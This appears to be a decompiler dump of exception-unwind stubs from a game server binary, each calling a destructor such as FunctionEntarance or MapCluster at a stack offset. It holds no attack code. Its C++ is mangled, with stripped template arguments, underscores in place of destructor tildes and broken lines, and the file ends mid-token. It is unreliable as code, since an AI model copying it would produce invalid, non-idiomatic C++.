std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (0061C330) -------------------------------------------------------- void __usercall _L183374(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 44)); } //----- (0061C350) -------------------------------------------------------- void __usercall _L175957(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061C390) -------------------------------------------------------- void __usercall _L170764(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061C3B0) -------------------------------------------------------- void __usercall _L170083(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (0061C3D0) -------------------------------------------------------- void __usercall _L169574(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (0061C3D8) -------------------------------------------------------- void __usercall _L169575(int a1) { KickPlayer::_KickPlayer((KickPlayer *)(a1 - 20)); } //----- (0061C3F0) -------------------------------------------------------- void __usercall _L169610(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0061C3F8) -------------------------------------------------------- void __usercall _L169611(int a1) { IsAnybody::_IsAnybody((IsAnybody *)(a1 - 24)); } //----- (0061C410) -------------------------------------------------------- void __usercall _L169695(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 228)); } //----- (0061C430) -------------------------------------------------------- void __usercall _L169948(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 144)); } //----- (0061C450) -------------------------------------------------------- void __usercall _L170353(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (0061C458) -------------------------------------------------------- void __usercall _L170354(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 28)); } //----- (0061C470) -------------------------------------------------------- void __usercall _L170440(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 28)); } //----- (0061C490) -------------------------------------------------------- void __usercall _L170526(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (0061C498) -------------------------------------------------------- void __usercall _L170527(int a1) { AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)(a1 - 32)); } //----- (0061C4A0) -------------------------------------------------------- void __usercall _L170528(int a1) { AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)(a1 - 24)); } //----- (0061C4C0) -------------------------------------------------------- void __usercall _L170791(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 1092)); } //----- (0061C4CB) -------------------------------------------------------- void __usercall _L170792(int a1) { FieldMap::_FieldMap(a1 - 576); } //----- (0061C4D6) -------------------------------------------------------- void __usercall _L170793(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 1116)); } //----- (0061C4E1) -------------------------------------------------------- void __usercall _L170794(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 832)); } //----- (0061C4EC) -------------------------------------------------------- void __usercall _L170795(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 1088)); } //----- (0061C510) -------------------------------------------------------- void __usercall _L170859(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 444)); } //----- (0061C51B) -------------------------------------------------------- void __usercall _L170860(int a1) { FieldMap::_FieldMap(a1 - 440); } //----- (0061C526) -------------------------------------------------------- void __usercall _L170861(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 468)); } //----- (0061C540) -------------------------------------------------------- void __usercall _L170926(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 36)); } //----- (0061C560) -------------------------------------------------------- void __usercall _L171002(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 38952)); } //----- (0061C56B) -------------------------------------------------------- void __usercall _L171003(int a1) { MapClusterManager::MapCluster::_MapCluster((MapClusterManager::MapCluster *)(a1 - 38948)); } //----- (0061C580) -------------------------------------------------------- void __usercall _L171064(int a1) { AxialListMobCounter::_AxialListMobCounter((AxialListMobCounter *)(a1 - 36)); } //----- (0061C5A0) -------------------------------------------------------- void __usercall _L171089(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 328)); } //----- (0061C5AB) -------------------------------------------------------- void __usercall _L171090(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut(*(DiceTaiSaiDividind **)(a1 - 324)); } //----- (0061C5C0) -------------------------------------------------------- void __usercall _L184377(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061C5E0) -------------------------------------------------------- void __usercall _L180775(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 320)); } //----- (0061C600) -------------------------------------------------------- void __usercall _L182040(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (0061C620) -------------------------------------------------------- void __usercall _L181949(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (0061C628) -------------------------------------------------------- void __usercall _L181950(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 36)); } //----- (0061C640) -------------------------------------------------------- void __usercall _L182101(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 192)); } //----- (0061C64B) -------------------------------------------------------- void __usercall _L182102(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 188)); } //----- (0061C656) -------------------------------------------------------- void __usercall _L182103(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 188)); } //----- (0061C661) -------------------------------------------------------- void __usercall _L182104(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 176)); } //----- (0061C680) -------------------------------------------------------- void __usercall _L182232(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0061C688) -------------------------------------------------------- void __usercall _L182233(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0061C6A0) -------------------------------------------------------- void __usercall _L182802(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0061C6C0) -------------------------------------------------------- void __usercall _L183116(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0061C6E0) -------------------------------------------------------- void __usercall _L183251(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 188)); } //----- (0061C6EB) -------------------------------------------------------- void __usercall _L183261(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 212)); } //----- (0061C700) -------------------------------------------------------- void __usercall _L183598(int a1) { InventoryLocking::InventoryCellLock::_InventoryCellLock(*(InventoryLocking::InventoryCellLock **)(a1 - 16)); } //----- (0061C720) -------------------------------------------------------- void __usercall _L175985(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (0061C740) -------------------------------------------------------- void __usercall _L176394(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061C760) -------------------------------------------------------- void __usercall _L176478(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (0061C780) -------------------------------------------------------- void __usercall _L170967(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 136)); } //----- (0061C7A0) -------------------------------------------------------- void __usercall _L171146(int a1) { OptionReader::_OptionReader(*(OptionReader **)(a1 - 16)); } //----- (0061C7E0) -------------------------------------------------------- void __usercall _L171313(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 260)); } //----- (0061C800) -------------------------------------------------------- void __usercall _L171463(int a1) { operator delete__(*(void **)(a1 - 67980)); } //----- (0061C80E) -------------------------------------------------------- void __usercall _L171465(int a1) { OptionReader::_OptionReader((OptionReader *)(a1 - 67972)); } //----- (0061C830) -------------------------------------------------------- void __usercall _L171582(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 84)); } //----- (0061C850) -------------------------------------------------------- void __usercall _L171684_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0061C870) -------------------------------------------------------- void __usercall _L171736(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 176)); } //----- (0061C890) -------------------------------------------------------- void __usercall _L165673(int a1) { BTree::_BTree(*(BTree **)(a1 - 16)); } //----- (0061C8B0) -------------------------------------------------------- void __usercall _L166077(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061C8D0) -------------------------------------------------------- void __usercall _L166191(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (0061C8D8) -------------------------------------------------------- void __usercall _L166192(int a1) { LuaScriptArgument::LuaArgumentNPCMenu::_LuaArgumentNPCMenu((LuaScriptArgument::LuaArgumentNPCMenu *)(a1 - 36)); } //----- (0061C8F0) -------------------------------------------------------- void __usercall _L168743(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (0061C910) -------------------------------------------------------- void __usercall _L164731(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 32)); } //----- (0061C930) -------------------------------------------------------- void __usercall _L164868(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (0061C950) -------------------------------------------------------- void __usercall _L165175(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061C970) -------------------------------------------------------- void __usercall _L176928(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061C990) -------------------------------------------------------- void __usercall _L176637(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 320)); } //----- (0061C99B) -------------------------------------------------------- void __usercall _L176639(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 280)); } //----- (0061C9B0) -------------------------------------------------------- void __usercall _L176991(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(a1 - 104)); } //----- (0061C9D0) -------------------------------------------------------- void __usercall _L177035(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(a1 - 116)); } //----- (0061C9F0) -------------------------------------------------------- void __usercall _L81237(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 216)); } //----- (0061CA10) -------------------------------------------------------- void __usercall _L83348(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (0061CB00) -------------------------------------------------------- void __usercall _L86726(int a1) { SHND::CommonData::_CommonData((ItemRandomOption::OptionTable *)(a1 - 32)); } //----- (0061CB20) -------------------------------------------------------- void __usercall _L87414(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 52)); } //----- (0061CBC0) -------------------------------------------------------- void __usercall _L89157(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(a1 - 264)); } //----- (0061CBCB) -------------------------------------------------------- void __usercall _L89178(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { ItemRandomOption::RandomOptionList::_RandomOptionList((ItemRandomOption::RandomOptionList *)(a1 - 152)); } //----- (0061CBDE) -------------------------------------------------------- void __usercall _L89159(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(a1 - 264)); } //----- (0061CC00) -------------------------------------------------------- void __usercall _L131097(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061CC20) -------------------------------------------------------- void __usercall _L183984(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061CC40) -------------------------------------------------------- void __usercall _L181597(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (0061CC48) -------------------------------------------------------- void __usercall _L181598(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 32)); } //----- (0061CC60) -------------------------------------------------------- void __usercall _L181686(int a1) { AxialListNearGateFind::_AxialListNearGateFind(*(AxialListNearGateFind **)(a1 - 16)); } //----- (0061CC80) -------------------------------------------------------- void __usercall _L181740(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (0061CC88) -------------------------------------------------------- void __usercall _L181741(int a1) { AxialListObjectClear::_AxialListObjectClear((AxialListObjectClear *)(a1 - 20)); } //----- (0061CCA0) -------------------------------------------------------- void __usercall _L182489(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (0061CCC0) -------------------------------------------------------- void __usercall _L182797(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 140)); } //----- (0061CCCB) -------------------------------------------------------- void __usercall _L182798(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 168)); } //----- (0061CCE0) -------------------------------------------------------- void __usercall _L182972(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0061CD00) -------------------------------------------------------- void __usercall _L183067(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0061CD20) -------------------------------------------------------- void __usercall _L183094(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 36)); } //----- (0061CD40) -------------------------------------------------------- void __usercall _L184132(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (0061CD60) -------------------------------------------------------- void __usercall _L183201(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 876)); } //----- (0061CD6B) -------------------------------------------------------- void __usercall _L183202(int a1) { _eh_vector_destructor_iterator_( (void *)(a1 - 872), 0x24u, 4, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (0061CD81) -------------------------------------------------------- void __usercall _L183204(int a1) { FieldMap::_FieldMap(a1 - 472); } //----- (0061CD8C) -------------------------------------------------------- void __usercall _L183205(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 48)); } //----- (0061CD94) -------------------------------------------------------- void __usercall _L183769(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 884)); } //----- (0061CDB0) -------------------------------------------------------- void __usercall _L183933(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 68)); } //----- (0061CDD0) -------------------------------------------------------- void __usercall _L184019(int a1) { List::_List(*(KingdomQuest::KQPlayerInfoList **)(a1 - 16)); } //----- (0061CDF0) -------------------------------------------------------- void __usercall _L178070(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061CE10) -------------------------------------------------------- void __usercall _L179622(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (0061CE70) -------------------------------------------------------- void __usercall _L181316(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (0061CEE0) -------------------------------------------------------- void __usercall _L182410(int a1) { SHND::CommonData::_CommonData((ItemRandomOption::OptionTable *)(a1 + 8)); } //----- (0061CF00) -------------------------------------------------------- void __usercall _L182606(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (0061CF08) -------------------------------------------------------- void __usercall _L182607(int a1) { SHND::CommonData::_CommonData((ItemRandomOption::OptionTable *)(a1 - 32)); } //----- (0061CF20) -------------------------------------------------------- void __usercall _L183009(int a1) { KQContribute::KQContributeList::_KQContributeList(*(KQContribute::KQContributeList **)(a1 - 20)); } //----- (0061CF40) -------------------------------------------------------- void __usercall _L183256(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (0061CF48) -------------------------------------------------------- void __usercall _L183257(int a1) { SHND::CommonData::_CommonData((ItemRandomOption::OptionTable *)(a1 - 32)); } //----- (0061CF60) -------------------------------------------------------- void __usercall _L174987(int a1) { OptionReader::_OptionReader((OptionReader *)(a1 - 67844)); } //----- (0061CF80) -------------------------------------------------------- void __usercall _L175147(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061CFA0) -------------------------------------------------------- void __usercall _L176198(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (0061CFC0) -------------------------------------------------------- void __usercall _L176517(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061CFE0) -------------------------------------------------------- void __usercall _L178381(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (0061D000) -------------------------------------------------------- void __usercall _L178462(int a1) { OptionReader::_OptionReader((OptionReader *)(a1 - 67812)); } //----- (0061D020) -------------------------------------------------------- void __usercall _L178932(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 1188)); } //----- (0061D02B) -------------------------------------------------------- void __usercall _L178933(int a1) { TreasureChestMaker::_TreasureChestMaker((TreasureChestMaker *)(a1 - 1052)); } //----- (0061D036) -------------------------------------------------------- void __usercall _L178936(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 1184)); } //----- (0061D050) -------------------------------------------------------- void __usercall _L179205(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (0061D070) -------------------------------------------------------- void __usercall _L180106(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 172)); } //----- (0061D07B) -------------------------------------------------------- void __usercall _L180107(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 144)); } //----- (0061D090) -------------------------------------------------------- void __usercall _L181439(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (0061D0B0) -------------------------------------------------------- void __usercall _L181673(int a1) { BinaryDataBox::_BinaryDataBox(*(MobResistTable **)(a1 - 16)); } //----- (0061D0E0) -------------------------------------------------------- void __usercall _L182119(int a1) { BinaryDataBox::_BinaryDataBox(*(MobResistTable **)(a1 - 16)); } //----- (0061D0E8) -------------------------------------------------------- void __usercall _L182120(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(*(_DWORD *)(a1 - 16) + 72)); } //----- (0061D100) -------------------------------------------------------- void __usercall _L75284(int a1) { AreaInfoData::_AreaInfoData((AreaInfoData *)(*(_DWORD *)(a1 - 16) + 36)); } //----- (0061D120) -------------------------------------------------------- void __usercall _L75581(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061D140) -------------------------------------------------------- void __usercall _L75437(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (0061D160) -------------------------------------------------------- void __usercall _L75812(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 148)); } //----- (0061D180) -------------------------------------------------------- void __usercall _L176905(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 12)); } //----- (0061D18B) -------------------------------------------------------- void __usercall _L176906(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 20)); } //----- (0061D196) -------------------------------------------------------- void __usercall _L176907(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 32)); } //----- (0061D1A1) -------------------------------------------------------- void __usercall _L176908(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 44)); } //----- (0061D1AC) -------------------------------------------------------- void __usercall _L176909(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 56)); } //----- (0061D1D0) -------------------------------------------------------- void __usercall _L176969(int a1) { AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)(a1 - 20)); } //----- (0061D1F0) -------------------------------------------------------- void __usercall _L178245(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061D210) -------------------------------------------------------- void __usercall _L177491(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (0061D21B) -------------------------------------------------------- void __usercall _L177492(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (0061D230) -------------------------------------------------------- void __usercall _L177808(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (0061D250) -------------------------------------------------------- void __usercall _L177932(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0061D270) -------------------------------------------------------- void __usercall _L177962(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (0061D278) -------------------------------------------------------- void __usercall _L177963(int a1) { MapClusterManager::MapCluster::_MapCluster((MapClusterManager::MapCluster *)(*(_DWORD *)(a1 - 16) + 24)); } //----- (0061D283) -------------------------------------------------------- void __usercall _L177964(int a1) { MapClusterManager::MapCluster::_MapCluster((MapClusterManager::MapCluster *)(*(_DWORD *)(a1 - 16) + 38956)); } //----- (0061D291) -------------------------------------------------------- void __usercall _L177965(int a1) { MapClusterManager::MapCluster::_MapCluster((MapClusterManager::MapCluster *)(*(_DWORD *)(a1 - 16) + 77888)); } //----- (0061D29F) -------------------------------------------------------- void __usercall _L177966(int a1) { MapClusterManager::MapCluster::_MapCluster((MapClusterManager::MapCluster *)(*(_DWORD *)(a1 - 16) + 116820)); } //----- (0061D2AD) -------------------------------------------------------- void __usercall _L177967(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 155952)); } //----- (0061D2D0) -------------------------------------------------------- void __usercall _L178144(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 38952)); } //----- (0061D2DB) -------------------------------------------------------- void __usercall _L178145(int a1) { MapClusterManager::MapCluster::_MapCluster((MapClusterManager::MapCluster *)(a1 - 38948)); } //----- (0061D2F0) -------------------------------------------------------- void __usercall _L178274(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (0061D2F8) -------------------------------------------------------- void __usercall _L178275_0(int a1) { MapClusterManager::MapCluster::_MapCluster((MapClusterManager::MapCluster *)(*(_DWORD *)(a1 - 16) + 24)); } //----- (0061D303) -------------------------------------------------------- void __usercall _L178276(int a1) { MapClusterManager::MapCluster::_MapCluster((MapClusterManager::MapCluster *)(*(_DWORD *)(a1 - 16) + 38956)); } //----- (0061D311) -------------------------------------------------------- void __usercall _L178277(int a1) { MapClusterManager::MapCluster::_MapCluster((MapClusterManager::MapCluster *)(*(_DWORD *)(a1 - 16) + 77888)); } //----- (0061D31F) -------------------------------------------------------- void __usercall _L178278(int a1) { MapClusterManager::MapCluster::_MapCluster((MapClusterManager::MapCluster *)(*(_DWORD *)(a1 - 16) + 116820)); } //----- (0061D340) -------------------------------------------------------- void __usercall _L163688(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061D360) -------------------------------------------------------- void __usercall _L164058(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061D380) -------------------------------------------------------- void __usercall _L178778_0(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0061D3A0) -------------------------------------------------------- void __usercall _L178823(int a1) { AxialListMobSuicide::_AxialListMobSuicide((AxialListMobSuicide *)(a1 - 20)); } //----- (0061D3C0) -------------------------------------------------------- void __usercall _L178862_0(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 468)); } //----- (0061D3E0) -------------------------------------------------------- void __usercall _L181738(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061D400) -------------------------------------------------------- void __usercall _L179374(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 140)); } //----- (0061D420) -------------------------------------------------------- void __usercall _L179434(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0061D440) -------------------------------------------------------- void __usercall _L179929(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (0061D448) -------------------------------------------------------- void __usercall _L179930(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0061D460) -------------------------------------------------------- void __usercall _L180003(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (0061D468) -------------------------------------------------------- void __usercall _L180004(int a1) { AxialListAggroAdjust::_AxialListAggroAdjust((AxialListAggroAdjust *)(a1 - 20)); } //----- (0061D480) -------------------------------------------------------- void __usercall _L180120(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 56)); } //----- (0061D488) -------------------------------------------------------- void __usercall _L180121(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (0061D490) -------------------------------------------------------- void __usercall _L180122(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 40)); } //----- (0061D4B0) -------------------------------------------------------- void __usercall _L180390(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 72)); } //----- (0061D4B8) -------------------------------------------------------- void __usercall _L180391(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 68)); } //----- (0061D4D0) -------------------------------------------------------- void __usercall _L180322(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 80)); } //----- (0061D4D8) -------------------------------------------------------- void __usercall _L180323(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 68)); } //----- (0061D4F0) -------------------------------------------------------- void __usercall _L180491_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0061D4F8) -------------------------------------------------------- void __usercall _L180492(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0061D510) -------------------------------------------------------- void __usercall _L180749(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (0061D530) -------------------------------------------------------- void __usercall _L181461(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (0061D538) -------------------------------------------------------- void __usercall _L181462(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 120)); } //----- (0061D550) -------------------------------------------------------- void __usercall _L181631_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 44)); } //----- (0061D558) -------------------------------------------------------- void __usercall _L181632(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0061D570) -------------------------------------------------------- void __usercall _L181936(int a1) { OptionReader::_OptionReader((OptionReader *)(a1 - 67684)); } //----- (0061D590) -------------------------------------------------------- void __usercall _L181955(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (0061D5B0) -------------------------------------------------------- void __usercall _L165577(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0061D5D0) -------------------------------------------------------- void __usercall _L167182(int a1) { OptionReader::_OptionReader((OptionReader *)(a1 - 67912)); } //----- (0061D5DB) -------------------------------------------------------- void __usercall _L167185_0(int a1) { operator delete(*(void **)(a1 - 68080)); } //----- (0061D5E9) -------------------------------------------------------- void __usercall _L167186_0(int a1) { operator delete(*(void **)(a1 - 68080)); } //----- (0061D5F7) -------------------------------------------------------- void __usercall _L167187_0(int a1) { operator delete(*(void **)(a1 - 68080)); } //----- (0061D605) -------------------------------------------------------- void __usercall _L167188_0(int a1) { operator delete(*(void **)(a1 - 68080)); } //----- (0061D613) -------------------------------------------------------- void __usercall _L167189(int a1) { operator 